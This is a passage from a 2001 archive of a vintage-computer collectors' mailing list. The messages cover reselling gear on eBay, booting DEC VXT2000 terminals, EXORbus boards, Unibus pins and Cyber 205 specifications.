<15142.22896.755197.661168@phaduka.neurotica.com> On June 12, John Foust wrote: > Care to share how you've been doing this? What sort of > items are you buying and selling? Do you think it's been > profitable, if you consider the time per transaction? I've been selling some analog and digital test equipment, some synth and music-related stuff, and some computer stuff. NeXT Dimension boards, for example...I had about a dozen of them, and most of them went for around $400/ea. It's been profitable enough to pay my $1400/mo rent and my $700/mo car payment, as well as other bills...no "think" to it, if I hadn't been doing this, I'd be bankrupt...or worse, working a 9-5 schedule, being taken advantage of by suits and having clueless MCSEs trying to take credit for my work. I'm not bitter.. -Dave McGuire From pcw at mesanet.com Tue Jun 12 13:14:20 2001 From: pcw at mesanet.com (Peter C. Wallace) Date: Sun Feb 27 19:04:26 2005 Subject: VXT2000 images ? In-Reply-To: <3.0.5.32.20010612113445.007b36c0@ubanproductions.com> Message-ID: On Tue, 12 Jun 2001, Tom Uban wrote: > I seem to recall seeing some information on this in the past, but > I haven't been able to dredge any up. > > Does anyone know if a VXT2000 can be booted from a non-dec unix or > windows box? > > Also, does anyone know where the binaries, etc can be found? > > --tnx > --tom > I have a couple VXT2000s and looked into this once. Its available (or was) on the Compaq web site, I think VXTKT021.A is what you want. It is unfortunatly a VMS save set but maybe someone with VMS can unpack it for you... Someone with a VXT2000 or VXT1300 may have done this already. It probably will boot from anything with TFTP but may require MOP, not sure... Peter Wallace From dittman at dittman.net Tue Jun 12 13:17:55 2001 From: dittman at dittman.net (Eric Dittman) Date: Sun Feb 27 19:04:26 2005 Subject: Another Auction Site In-Reply-To: from "Bill Gunshannon" at Jun 12, 2001 01:11:44 PM Message-ID: <200106121817.f5CIHtQ07172@narnia.int.dittman.net> > Being intimidated by the very thought of Ebay, I thought I would get > my feet wet, so to speak, by offering some old Sun stuff on this recently > mentioned web site. 5 days later I have had 3 hits on the one auction > and no bids on either. Seemed like fun at the time, but I can see that > my trepidation was not misplaced. It may be an acceptable medium for > getting rid of those old baseball cards, but apparently not for real > stuff. I put a couple of things on eBay that I thought would have bids right off but didn't. Then, a few hours before the close people started bidding. There's also the snipers that either manually or with a program bid in the last seconds. -- Eric Dittman dittman@dittman.net From dittman at dittman.net Tue Jun 12 13:20:00 2001 From: dittman at dittman.net (Eric Dittman) Date: Sun Feb 27 19:04:26 2005 Subject: VXT2000 images ? In-Reply-To: <3.0.5.32.20010612113445.007b36c0@ubanproductions.com> from "Tom Uban" at Jun 12, 2001 11:34:45 AM Message-ID: <200106121820.f5CIK0n07188@narnia.int.dittman.net> > I seem to recall seeing some information on this in the past, but > I haven't been able to dredge any up. > > Does anyone know if a VXT2000 can be booted from a non-dec unix or > windows box? > > Also, does anyone know where the binaries, etc can be found? I think they are one the OpenVMS FREEWARE CDROM. You can access the CDROM from www.openvms.compaq.com. -- Eric Dittman dittman@dittman.net From pcw at mesanet.com Tue Jun 12 13:25:45 2001 From: pcw at mesanet.com (Peter C. Wallace) Date: Sun Feb 27 19:04:26 2005 Subject: Free to good home: Compupro S100 system Message-ID: I picked this up a a local junk auction, but have no interest in s100 stuff, thought someone here might like it (to be picked up only -- too much trouble to ship - I'm in SF bay area) Compupro Rack mount system with 22? slot S100 backplane, 86/87 CPU card (8086), 2x RAM22 RAM cards (256KB each), System support card, 8 channel serial card, and hard/floppy controller card. Probably ran MPM at some time (might still!) Also have another rack that came with it with 10? MB ST506 type hard drive and 5 1/4" floppy Peter Wallace From jfoust at threedee.com Tue Jun 12 13:43:00 2001 From: jfoust at threedee.com (John Foust) Date: Sun Feb 27 19:04:26 2005 Subject: eBay as career In-Reply-To: <15142.22896.755197.661168@phaduka.neurotica.com> References: <3B261867.13841B70@home.com> <5.1.0.14.1.20010612083657.00a16480@mailhost.intellistar.net> <5.1.0.14.1.20010612123140.00ac3a70@mailhost.intellistar.net> <4.3.2.7.0.20010612123915.01ef6160@pc> Message-ID: <4.3.2.7.0.20010612134145.01d54b10@pc> At 02:03 PM 6/12/01 -0400, Dave McGuire wrote: > I've been selling some analog and digital test equipment, some synth >and music-related stuff, and some computer stuff. NeXT Dimension >boards, for example...I had about a dozen of them, and most of them >went for around $400/ea. Were you buying and reselling, or selling old gear you already owned? >It's been profitable enough to pay my >$1400/mo rent and my $700/mo car payment, as well as other bills...no >"think" to it, if I hadn't been doing this, I'd be bankrupt...or >worse, working a 9-5 schedule, being taken advantage of by suits and >having clueless MCSEs trying to take credit for my work. Now there's something to flame about. It's not uncommon, though. - John From wstan at localhostnl.demon.nl Tue Jun 12 15:45:04 2001 From: wstan at localhostnl.demon.nl (William Staniewicz) Date: Sun Feb 27 19:04:26 2005 Subject: Any Dutch/Belgium Collectors ? In-Reply-To: <5.0.2.1.0.20010612153216.00ab3cd0@145.218.23.191>; from stefan@softhome.net on Tue, Jun 12, 2001 at 03:33:15PM +0200 References: <5.0.2.1.0.20010612153216.00ab3cd0@145.218.23.191> Message-ID: <20010612204504.A850@localhostnl.demon.nl> I have just begun collecting the Apollo's (Domain/OS). Right now have a DN3010 with several DN3500's on the way soon. Originally I am from the US so not a native here. On Tue, Jun 12, 2001 at 03:33:15PM +0200, Stefan wrote: > Are there any Dutch or Belgium collectors here that I don't know yet ? > Just curious :) Think I know most of them, but hey, you never know ;) -- Bill William Staniewicz Amsterdam, NL From claudew at videotron.ca Tue Jun 12 14:00:15 2001 From: claudew at videotron.ca (Claude.W) Date: Sun Feb 27 19:04:26 2005 Subject: Next Megapixel N4000 low B+ or schematics anyone....? Message-ID: <004101c0f371$ea81c100$0200a8c0@gamerclaude> Hi I acquired a complete clean NExT slab and the Megapixel N4000 (yes the tube might be weak....still) monitor is looking like it has low B+ (87 VDC) I have no picture or apparent HV (probably very low) I hear a short HV crackling at power up....anybody have schematics for these or fixed a lot of these and are fimiliar with them so I dont hunt around for hours.... Claude http://www.members.tripod.com/computer_collector From donm at cts.com Tue Jun 12 13:56:45 2001 From: donm at cts.com (Don Maslin) Date: Sun Feb 27 19:04:26 2005 Subject: Ebay horror ... In-Reply-To: <5.1.0.14.1.20010612123140.00ac3a70@mailhost.intellistar.net> Message-ID: On Tue, 12 Jun 2001, joe wrote: > At 08:55 AM 6/12/01 -0500, John wrote: > >At 09:25 AM 6/12/01 -0400, Craig Smith wrote: > > > FINALLY! A voice of reason in this seemingly endless debate. > > Well said > > >Joe. If you add up the time spend digging stuff out of musty basements > > >and barns, gas and wear & tear on vehicles driving hundreds of miles and > > >time cleaning, testing, etc .... what little return you receive > > >[even at eBay {gasp!} prices] is well deserved. > > > >Amen. If anyone is at all serious about making money to > >pay for their time, I can't think of many substances you > >can resell on eBay that would make it worthwhile. On the > >other hand, it might be a good way to dispose of stuff > >that comes along while you're doing something else. > > > Exactly! I doubt anyone on this list makes a living by selling on > E-bay. I do it to find homes for some of the more interesting stuff that I > find but can't keep and to help pay the expenses of looking for the > stuff. Even then I doubt that what I make from E-bay justifies the time > and effort of listing, packing and shipping the stuff. Well, except for the fact that it is kind of fun and satisfying. Isn't it, Joe? - don From mcguire at neurotica.com Tue Jun 12 13:55:40 2001 From: mcguire at neurotica.com (Dave McGuire) Date: Sun Feb 27 19:04:26 2005 Subject: eBay as career In-Reply-To: Re: eBay as career (John Foust) References: <3B261867.13841B70@home.com> <5.1.0.14.1.20010612083657.00a16480@mailhost.intellistar.net> <5.1.0.14.1.20010612123140.00ac3a70@mailhost.intellistar.net> <4.3.2.7.0.20010612123915.01ef6160@pc> <4.3.2.7.0.20010612134145.01d54b10@pc> Message-ID: <15142.26028.635128.37500@phaduka.neurotica.com> On June 12, John Foust wrote: > At 02:03 PM 6/12/01 -0400, Dave McGuire wrote: > > I've been selling some analog and digital test equipment, some synth > >and music-related stuff, and some computer stuff. NeXT Dimension > >boards, for example...I had about a dozen of them, and most of them > >went for around $400/ea. > > Were you buying and reselling, or selling old gear you > already owned? Buying stuff elsewhere (surplus places) and reselling it, and selling stuff I already had around. > >It's been profitable enough to pay my > >$1400/mo rent and my $700/mo car payment, as well as other bills...no > >"think" to it, if I hadn't been doing this, I'd be bankrupt...or > >worse, working a 9-5 schedule, being taken advantage of by suits and > >having clueless MCSEs trying to take credit for my work. > > Now there's something to flame about. It's not uncommon, though. Indeed. -Dave McGuire From steven_j_robertson at hotmail.com Tue Jun 12 14:08:07 2001 From: steven_j_robertson at hotmail.com (Steve Robertson) Date: Sun Feb 27 19:04:26 2005 Subject: Motorola EXORbus docs needed Message-ID: Joe, Better stay out of the sun. I think you fried to many neurons. Mike ??? has the EXOR-bus stuff :-) SteveRob >From: joe >Reply-To: classiccmp@classiccmp.org >To: classiccmp@classiccmp.org >Subject: Re: Motorola EXORbus docs needed >Date: Tue, 12 Jun 2001 09:14:04 -0400 > >HI Rich, > > I'm glad to see someone else is interested in the Motorola >stuff. Steve Robertson has a **bunch** of docs for the EXOR-bus stuff. He >and one other list member (I can't think of his name right now) are the one >two that I know of that are seriously interested in the EXOR-bus stuff. I'm >interested in it but I have too many projects already so I've been passing >all the stuff that I find onto them. I've got a pile of EXOR-bus cards >here right now that I need to go through. Steve and I were supposed to get >together at the UCF hamfest last weekend and I was going to give it all to >him but both of us had other things that we had to do so we never made it. _________________________________________________________________ Get your FREE download of MSN Explorer at http://explorer.msn.com From mikeford at socal.rr.com Tue Jun 12 14:02:24 2001 From: mikeford at socal.rr.com (Mike Ford) Date: Sun Feb 27 19:04:26 2005 Subject: sync on green to horizontal and vertical wiring seperator. In-Reply-To: <20010612022915.W93146@tmok.com> References: ; from Mike Ford on Mon, Jun 11, 2001 at 09:30:59PM -0700 ; <20010611013627.QUBP20074.tomts8-srv.bellnexxia.net@duron> <20010611214359.X93146@tmok.com> Message-ID: >i've noticed in the past that the higher end monitors came with BNC and HD15, >but those would generally be classified as workstation monitors, not PC tubes. >(more because of price than anything else, not in the pricerange of your >average >home buyer) > >is BNC really back? on PC monitors? why? are there PC video cards with BNC? >if so, what is this world coming to? :) No PC cards I have seen yet have BNC, but plenty of larger monitors have BNC and people claim at least that it makes a big improvement. The PC monitor market is EXTREMELY competitive right now, prices dropping and everybody scrambling to keep market share, so any feature is quickly adopted. Component video is also hot in home video, so people are identifying BNC with "high end". From r_beaudry at hotmail.com Tue Jun 12 14:29:44 2001 From: r_beaudry at hotmail.com (Rich Beaudry) Date: Sun Feb 27 19:04:26 2005 Subject: EXORbus cards, info needed Message-ID: Hello all, As promised, here is the list of EXORbus cards that I have... Any docs or information on these would be greatly appreciated! (Thanks to Mike and Joe for already replying to my previous post)... 1 MEX68WW Wire-Wrap prototyping Board (uh, well, I guess this one is self-explanatory :-) ) 1 CMS 9601-501 "Utility Buffer/Cable Breakout" Board (2 ports) 1 CMS 9601-503 "Cable Breakout" Board (8 ports) 2 Chrislin Industries memory board -- 32 4116 chips 2 Motorola Micro Module 1A (one has 4 2708 EPROM's, labels all faded) 2 CMS 9650 Serial I/O Board (8 8650 chips) 2 card extenders w/ test points 1 Micro-Logus P-VDG board (CRT-5037 and CRT 8002 chips, also 4 2016's, and 4 output jacks, coaxial, but smaller than say a cable TV coaxial cable. Also output jacks are NON-threaded. 1 CMS 9609 MPU board (6809, 2 6821's, 2 6850's, 3 2716 EPROM's, one marked "Debug 09", others unlabeled) 1 CMS 9609 MPU board (same setup as above, but 3 2716's marked "M9M17 #1, #2, and #3") 1 Southern Company Services SCSEVDG183, very similar to P-VDG board above, but w/ CRT-5027, and 4016's instead of 2016's) 1 Hodge Taylor and Associates P/N 040478 (all 74XX logic, no ideas as to function) 1 Hodge Taylor and Associates P/N 033178 (again, all logic...) 1 unknown vendor, marked "Interface Board" (2 6820's, 2708 EPROM, marked "D800" (very faded), 40-pin and 50-pin connectors on top) 1 General Micro Systems "Versatile Memory Module" (16 sockets, 9 filled w/ 2716 EPROM's, marked "IRCS 0.64" -- Also has battery backup!) 1 CMS 9640 Timer Board 1 Hodge Taylor and Associates P/N 12877 (2 AM2901BDC, 3 AM2909PC, 4 N82S2708N) Thanks in advance! Rich B. From mmcfadden at cmh.edu Tue Jun 12 15:53:32 2001 From: mmcfadden at cmh.edu (McFadden, Mike) Date: Sun Feb 27 19:04:26 2005 Subject: new source for ZILOG parts also know as diskettes without lab els. Message-ID: When I need a floppy and I grab one out of the stuff box where the unlabelled ones live, I always do a dir first to see what's on the floppy. It's amazing how many of my lost files I find that way. I think the labels fall of and crumble to dust. I found a couple of 5 1/4 floppies with IBM DisplayWrite 3 files on them the other day. Some of the files were from 1984. One file was my resume. It's amazing that I was listing my accomplishments about programming in Fortran IV, and PDP assembly language. Our data was accessed in Datatrieve and we wrote Fortran files to create data sets. We were thinking about a VAX to replace our PDP 11/70. Mike mmcfadden@cmh.edu From healyzh at aracnet.com Tue Jun 12 15:53:33 2001 From: healyzh at aracnet.com (healyzh@aracnet.com) Date: Sun Feb 27 19:04:26 2005 Subject: Looking for DEC VXT keyboard/mouse In-Reply-To: <3.0.5.32.20010612112404.007bcc10@ubanproductions.com> from "Tom Uban" at Jun 12, 2001 11:24:04 AM Message-ID: <200106122053.f5CKrX122894@shell1.aracnet.com> > I am pretty sure that they will work. Do you have a spare pair? > > --tnx > --tom I think I've still got spare keyboards, the problem is I can't get to them right now, and it would be quite a while before I could. I don't have any spare mice (I only have one). Zane From allain at panix.com Tue Jun 12 15:55:20 2001 From: allain at panix.com (John Allain) Date: Sun Feb 27 19:04:26 2005 Subject: Cyber205 was RE: Ebay horror ... References: <01Jun12.131546edt.119041@gateway.mediacen.navy.mil> <001f01c0f369$0eff4560$21fe54a6@ibm23xhr06> Message-ID: <00d301c0f382$1f4fdec0$21fe54a6@ibm23xhr06> S.C. a CDC founder? fantastic! 205/LSI after the Cray-1? check. Ok, continuing after a "real work"* break. What made the 205 get singled out for so long as an a**kicker? True multiprocessing? Did it beat the Cray-1? *some exaggeration John A. From healyzh at aracnet.com Tue Jun 12 16:08:46 2001 From: healyzh at aracnet.com (healyzh@aracnet.com) Date: Sun Feb 27 19:04:26 2005 Subject: VXT2000 images ? In-Reply-To: from "Auke van Slooten" at Jun 12, 2001 07:36:46 PM Message-ID: <200106122108.f5CL8l923998@shell1.aracnet.com> > The x terminal management software is included on the freeware version of > VMS which contains the binary boot images. You can still download it Are you sure? I didn't think anything like that was on the OpenVMS Hobbyist disks (or was this on the V1 disk)? > from compaq, I haven't got the url handy right now. However, I've not been > able to decode it, I assume it's in vmsbackup format, but I haven't found > a tool which will actually read it, so I might be wrong. Try http://www.openvms.compaq.com/freeware which is your best source for freeware software for OpenVMS. Zane From rhblake at bigfoot.com Tue Jun 12 16:03:03 2001 From: rhblake at bigfoot.com (Russ Blakeman) Date: Sun Feb 27 19:04:26 2005 Subject: eBay as career In-Reply-To: <15142.22896.755197.661168@phaduka.neurotica.com> Message-ID: While I haven't been making a living on ebay, I've been doing a pretty fair supplement, keeping our bills paid as well. Amen on the MCSE's taking credit for the common layman's handicraft. > -----Original Message----- > From: owner-classiccmp@classiccmp.org > [mailto:owner-classiccmp@classiccmp.org]On Behalf Of Dave McGuire > Sent: Tuesday, June 12, 2001 1:03 PM > To: classiccmp@classiccmp.org > Subject: Re: eBay as career > > > On June 12, John Foust wrote: > > Care to share how you've been doing this? What sort of > > items are you buying and selling? Do you think it's been > > profitable, if you consider the time per transaction? > > I've been selling some analog and digital test equipment, some synth > and music-related stuff, and some computer stuff. NeXT Dimension > boards, for example...I had about a dozen of them, and most of them > went for around $400/ea. It's been profitable enough to pay my > $1400/mo rent and my $700/mo car payment, as well as other bills...no > "think" to it, if I hadn't been doing this, I'd be bankrupt...or > worse, working a 9-5 schedule, being taken advantage of by suits and > having clueless MCSEs trying to take credit for my work. > > I'm not bitter.. > > -Dave McGuire From zmerch at 30below.com Tue Jun 12 16:20:54 2001 From: zmerch at 30below.com (Roger Merchberger) Date: Sun Feb 27 19:04:26 2005 Subject: VMS Documentation CD-ROM &unibus question In-Reply-To: <200106121820.f5CIK0n07188@narnia.int.dittman.net> References: <3.0.5.32.20010612113445.007b36c0@ubanproductions.com> Message-ID: <3.0.1.32.20010612172054.00cef1e0@mail.30below.com> I think I asked this before, but here's another go: Can the VMS VAX Documentation CD (Ver. 7.1) be viewed on anything at all other than VMS? I have linux, Compaq Tru64 Unix V5.0, I could install NetBSD on something, but without any dox at all I'm having a bugger of a time learning VMS... :-( Also, a quickie question: how many pins are on the Unibus? Thanks, Roger "Merch" Merchberger -- Roger "Merch" Merchberger --- sysadmin, Iceberg Computers Recycling is good, right??? Ok, so I'll recycle an old .sig. If at first you don't succeed, nuclear warhead disarmament should *not* be your first career choice. From pechter at bg-tc-ppp918.monmouth.com Tue Jun 12 16:54:53 2001 From: pechter at bg-tc-ppp918.monmouth.com (Bill Pechter) Date: Sun Feb 27 19:04:26 2005 Subject: VMS Documentation CD-ROM &unibus question In-Reply-To: <3.0.1.32.20010612172054.00cef1e0@mail.30below.com> from Roger Merchberger at "Jun 12, 2001 05:20:54 pm" Message-ID: <200106122154.f5CLssl12874@bg-tc-ppp918.monmouth.com> > > Also, a quickie question: how many pins are on the Unibus? Damn a stumper. Backplane Slots A and B are unibus... There's DEC Standard numbering IIRC... ABCDEFHJKLMNPRSTUV 000000000111111111 So that's 18 pins per row -- two sided AA1 AA2 etc 123456789012345678 is 36 times 2 slots an you get 72 pins -- I think. I checked the pins with the VAX 11/750 Hardware Maintenance Handbook AA1-AV1 AA2-AV2 BA1-BV1 BA2-BV2 > > Thanks, > Roger "Merch" Merchberger Bill (who got it wrong figuring by memory) --- Bill Gates is a Persian cat and a monocle away from being a villain in a James Bond movie -- Dennis Miller bpechter@shell.monmouth.com|pechter@pechter.dyndns.org From healyzh at aracnet.com Tue Jun 12 17:20:15 2001 From: healyzh at aracnet.com (healyzh@aracnet.com) Date: Sun Feb 27 19:04:26 2005 Subject: VMS Documentation CD-ROM &unibus question In-Reply-To: <3.0.1.32.20010612172054.00cef1e0@mail.30below.com> from "Roger Merchberger" at Jun 12, 2001 05:20:54 PM Message-ID: <200106122220.f5CMKFL27760@shell1.aracnet.com> > Can the VMS VAX Documentation CD (Ver. 7.1) be viewed on anything at all > other than VMS? I have linux, Compaq Tru64 Unix V5.0, I could install > NetBSD on something, but without any dox at all I'm having a bugger of a > time learning VMS... :-( I don't think the older ones can be, as I believe they're in ODS-2 format, however, I do have a faint memory there might be a reader somewhere. I just got OpenVMS V7.2-1H1, and the Documentation CD-ROM that came with it can be read on both a OpenVMS system and a standard Windows Desktop (I've not tried anything else, and can't remember the specifics at the moment). Why don't you just go to http://www.openvms.compaq.com:8000/ and read the Doc's online? Even if you're running V7.1, the V7.2 doc's there will be of a big help in getting your system up and running. Once the system is up, just type HELP. Zane From netsurfer_x1 at hotmail.com Tue Jun 12 17:22:57 2001 From: netsurfer_x1 at hotmail.com (David Vohs) Date: Sun Feb 27 19:04:26 2005 Subject: Devoted site to the Otrona Attache? Message-ID: Does anyone know where (if?) there are any sites devoted to the Otrona Attache? I am asking because I not too long ago picked up one of these great little machines (I know, lucky me!) & was wondering how large (small?) the remaining user base is. ____________________________________________________________ David Vohs, Digital Archaeologist & Computer Historian. Home page: http://www.geocities.com/netsurfer_x1/ Computer Collection: "Triumph": Commodore 64C, 1802, 1541, FSD-1, GeoRAM 512, MPS-801. "Leela": Macintosh 128 (Plus upgrade), Nova SCSI HDD, Imagewriter II. "Delorean": TI-99/4A, TI Speech Synthesizer. "Monolith": Apple Macintosh Portable. "Spectrum": Tandy Color Computer 3, Disto 512K RAM board. "Boombox": Sharp PC-7000. "Butterfly": Tandy Model 200, PDD, CCR-82. "Shapeshifter": Epson QX-10, Titan graphics & MS-DOS board, Comrex HDD. "Scout": Otrona Attache. ____________________________________________________________ _________________________________________________________________ Get your FREE download of MSN Explorer at http://explorer.msn.com From george at racsys.rt.rain.com Tue Jun 12 17:35:53 2001 From: george at racsys.rt.rain.com (George Leo Rachor Jr.) Date: Sun Feb 27 19:04:26 2005 Subject: Devoted site to the Otrona Attache? In-Reply-To: Message-ID: That makes at least 2 of us.... George Rachor ========================================================= George L. Rachor Jr. george@rachors.com Hillsboro, Oregon http://rachors.com United States of America Amateur Radio : KD7DCX On Tue, 12 Jun 2001, David Vohs wrote: > Does anyone know where (if?) there are any sites devoted to the Otrona > Attache? I am asking because I not too long ago picked up one of these great > little machines (I know, lucky me!) & was wondering how large (small?) the > remaining user base is. > ____________________________________________________________ > David Vohs, Digital Archaeologist & Computer Historian. > Home page: http://www.geocities.com/netsurfer_x1/ > > Computer Collection: > > "Triumph": Commodore 64C, 1802, 1541, FSD-1, GeoRAM 512, MPS-801. > "Leela": Macintosh 128 (Plus upgrade), Nova SCSI HDD, Imagewriter II. > "Delorean": TI-99/4A, TI Speech Synthesizer. > "Monolith": Apple Macintosh Portable. > "Spectrum": Tandy Color Computer 3, Disto 512K RAM board. > "Boombox": Sharp PC-7000. > "Butterfly": Tandy Model 200, PDD, CCR-82. > "Shapeshifter": Epson QX-10, Titan graphics & MS-DOS board, Comrex HDD. > "Scout": Otrona Attache. > ____________________________________________________________ > > _________________________________________________________________ > Get your FREE download of MSN Explorer at http://explorer.msn.com > > From dhquebbeman at theestopinalgroup.com Tue Jun 12 17:55:28 2001 From: dhquebbeman at theestopinalgroup.com (Douglas Quebbeman) Date: Sun Feb 27 19:04:26 2005 Subject: Cyber205 was RE: Ebay horror ... Message-ID: <7A9BACCEF0171D4FB77019F5104CDD37151144@jeffserver.tegjeff.com> > -----Original Message----- > From: Douglas Quebbeman [mailto:dhquebbeman@theestopinalgroup.com] > Sent: Tuesday, June 12, 2001 1:49 PM > To: 'classiccmp@classiccmp.org' > Subject: RE: Cyber205 was RE: Ebay horror ... > > > > At 12:18 PM 6/12/01 -0400, Doug wrote: > > > > >It appears that, at least as recently as August 2000, a Cyber > > >170 driving the Early Warning Radar System at Cape Cod Air > > >Force Station, known as "Pave Paws", was still in operation. > > > > > >Discussions were going on at that time w/r/t its replacement. > > > > > >This machine, sans media, disks, etc, might be a good candidate > > >for a future rescue (since it's military, they may want to > > >wipe the disks using hammers). > > > > Actually, they use acid. :-( > > That doesn't destroy data, it just rearranges it... > (yes, my favorite color is paisley). > > :-) > From jpero at sympatico.ca Tue Jun 12 14:27:00 2001 From: jpero at sympatico.ca (jpero@sympatico.ca) Date: Sun Feb 27 19:04:26 2005 Subject: Trade deal status? In-Reply-To: References: <5.0.0.25.2.20010602195039.025e7560@208.226.86.10> Message-ID: <20010612232414.NDVM17517.tomts5-srv.bellnexxia.net@duron> Sridhar, I'm still waiting for your last reply. IBM parts for your parts. Cheers, Wizard From ard at p850ug1.demon.co.uk Tue Jun 12 17:33:01 2001 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 19:04:26 2005 Subject: Ebay horror ... In-Reply-To: <005201c0f31f$1c69b7c0$9cc762d8@idcomm.com> from "Richard Erlacher" at Jun 12, 1 03:07:30 am Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 2595 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20010612/dd5ec347/attachment.ksh From ard at p850ug1.demon.co.uk Tue Jun 12 17:06:24 2001 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 19:04:26 2005 Subject: sync on green to horizontal and vertical wiring seperator. In-Reply-To: <20010612024026.SUJ2764.tomts14-srv.bellnexxia.net@duron> from "jpero@sympatico.ca" at Jun 11, 1 10:43:10 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 544 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20010612/92a20489/attachment.ksh From ard at p850ug1.demon.co.uk Tue Jun 12 17:11:53 2001 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 19:04:26 2005 Subject: Heater boosting update. In-Reply-To: <20010612030426.EESN29618.tomts6-srv.bellnexxia.net@duron> from "jpero@sympatico.ca" at Jun 11, 1 11:07:10 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 1407 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20010612/ce737054/attachment.ksh From ard at p850ug1.demon.co.uk Tue Jun 12 17:23:02 2001 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 19:04:26 2005 Subject: Ebay horror ... In-Reply-To: <004001c0f31d$5a8f0f20$9cc762d8@idcomm.com> from "Richard Erlacher" at Jun 12, 1 02:54:56 am Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 2406 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20010612/0806cc60/attachment.ksh From ard at p850ug1.demon.co.uk Tue Jun 12 18:24:43 2001 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 19:04:26 2005 Subject: VMS Documentation CD-ROM &unibus question In-Reply-To: <3.0.1.32.20010612172054.00cef1e0@mail.30below.com> from "Roger Merchberger" at Jun 12, 1 05:20:54 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 1059 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20010613/429eba7d/attachment.ksh From dhquebbeman at theestopinalgroup.com Tue Jun 12 18:45:47 2001 From: dhquebbeman at theestopinalgroup.com (Douglas Quebbeman) Date: Sun Feb 27 19:04:26 2005 Subject: Cyber205 was RE: Ebay horror ... Message-ID: <7A9BACCEF0171D4FB77019F5104CDD37151149@jeffserver.tegjeff.com> > S.C. a CDC founder? fantastic! > 205/LSI after the Cray-1? check. > > Ok, continuing after a "real work"* break. > What made the 205 get singled out for so > long as an a**kicker? True multiprocessing? > Did it beat the Cray-1? CYBER 205 Overview of Platform Vector Architecture. Compute Hardware Architecture: ECL/LSI logic (168 gates/chip) Sequential and parallel processing on single bits, 8-bit bytes and 32- or 64-bit floating-point operands 20-nsec cycle time Scalar Unit Segmented functional units 64-word instruction stack 256 word high-speed register file Vector Unit 1, 2, or 4 segmented vector pipelines memory-to-memory data streaming maximum vector length of 65,536 words gather/scatter instructions up to 800 million 32-bit floating-point operations/second Interconnect / Communications System Memory System Memory MOS semiconductor memory Memory size: 1, 2, 4, 8 or 16 million 64-bit words Virtual memory accessing mechanism with multiple, concurrently usable page sizes SECDED on each 32-bit half word 48-bit address (address space of 4 trillion words per user) 80 nsec memory bank cycle time Memory bandwidth: 25.6 or 51.2 Gigabits/second Benchmarks / Compute and data transfer performance Performance: Linked triad performance on long vectors approaches asymptotic speed of machine. Performance can be severely degraded at short vector lengths (that is, the typical $n _ {1/2}$ is around 100), and if vector is not held contiguously. For this reason most tuned software employs long, contiguously held vectors. Operating System Software and Environment Software: Virtual operating system Batch and interactive access FORTRAN compiler ANSI 77 with vector extensions 32-bit half-precision data type Special calls to machine instructions Automatic vectorization Scalar optimization utilizing large register file Utilities Interactive symbolic debugger Source code maintenance Object code maintenance Networkability/ I/O System / Integrability / Reliability / Scalability I/O Eight I/O ports, 32-bits in width, expandable to 16 200 Mbits/second for each port Maximum I/O port bandwidth of 3200 Mbits/sec Miscellaneous Cooling: freon Dimensions: floor area (four pipe model) 23 ft x 19 ft footprint (with I/O system) 105 sq ft Notable Applications / Customers / Market Sectors N/A Overall Comments N/A ------------------------------------------------------------------------------ -- From dhquebbeman at theestopinalgroup.com Tue Jun 12 18:47:49 2001 From: dhquebbeman at theestopinalgroup.com (Douglas Quebbeman) Date: Sun Feb 27 19:04:26 2005 Subject: Cyber205 was RE: Ebay horror ... Message-ID: <7A9BACCEF0171D4FB77019F5104CDD3715114A@jeffserver.tegjeff.com> > S.C. a CDC founder? fantastic! > 205/LSI after the Cray-1? check. > > Ok, continuing after a "real work"* break. > What made the 205 get singled out for so > long as an a**kicker? True multiprocessing? > Did it beat the Cray-1? See also: http://ed-thelen.org/comp-hist/super-users-view.html From broth at heathers.stdio.com Tue Jun 12 17:53:00 2001 From: broth at heathers.stdio.com (Brian Roth) Date: Sun Feb 27 19:04:26 2005 Subject: Looking for DEC VXT keyboard/mouse In-Reply-To: <200106122053.f5CKrX122894@shell1.aracnet.com> References: <200106122053.f5CKrX122894@shell1.aracnet.com> Message-ID: <01061218541101.00890@fatty> Let me know if you can use an LK-401. I have dozens of them. No mice though. Brian. On Tue, 12 Jun 2001, you wrote: > > I am pretty sure that they will work. Do you have a spare pair? > > > > --tnx > > --tom > > I think I've still got spare keyboards, the problem is I can't get to them > right now, and it would be quite a while before I could. I don't have any > spare mice (I only have one). > > Zane -- Brian Roth - System Administrator www.webwirz.com - Old Computer Repository Preoccupation is my main occupation..... From rigdonj at intellistar.net Tue Jun 12 19:08:05 2001 From: rigdonj at intellistar.net (joe) Date: Sun Feb 27 19:04:26 2005 Subject: Ebay horror ... In-Reply-To: References: <5.1.0.14.1.20010612123140.00ac3a70@mailhost.intellistar.net> Message-ID: <5.1.0.14.1.20010612200405.00acdc60@mailhost.intellistar.net> At 11:56 AM 6/12/01 -0700, Don wrote: >On Tue, 12 Jun 2001, joe wrote: > > > At 08:55 AM 6/12/01 -0500, John wrote: > > >At 09:25 AM 6/12/01 -0400, Craig Smith wrote: > > > > FINALLY! A voice of reason in this seemingly endless debate. > > > Well said > > > >Joe. If you add up the time spend digging stuff out of musty basements > > > >and barns, gas and wear & tear on vehicles driving hundreds of miles and > > > >time cleaning, testing, etc .... what little return you receive > > > >[even at eBay {gasp!} prices] is well deserved. > > > > > >Amen. If anyone is at all serious about making money to > > >pay for their time, I can't think of many substances you > > >can resell on eBay that would make it worthwhile. On the > > >other hand, it might be a good way to dispose of stuff > > >that comes along while you're doing something else. > > > > > > Exactly! I doubt anyone on this list makes a living by selling on > > E-bay. I do it to find homes for some of the more interesting stuff that I > > find but can't keep and to help pay the expenses of looking for the > > stuff. Even then I doubt that what I make from E-bay justifies the time > > and effort of listing, packing and shipping the stuff. > >Well, except for the fact that it is kind of fun and satisfying. Isn't >it, Joe? Yeap, 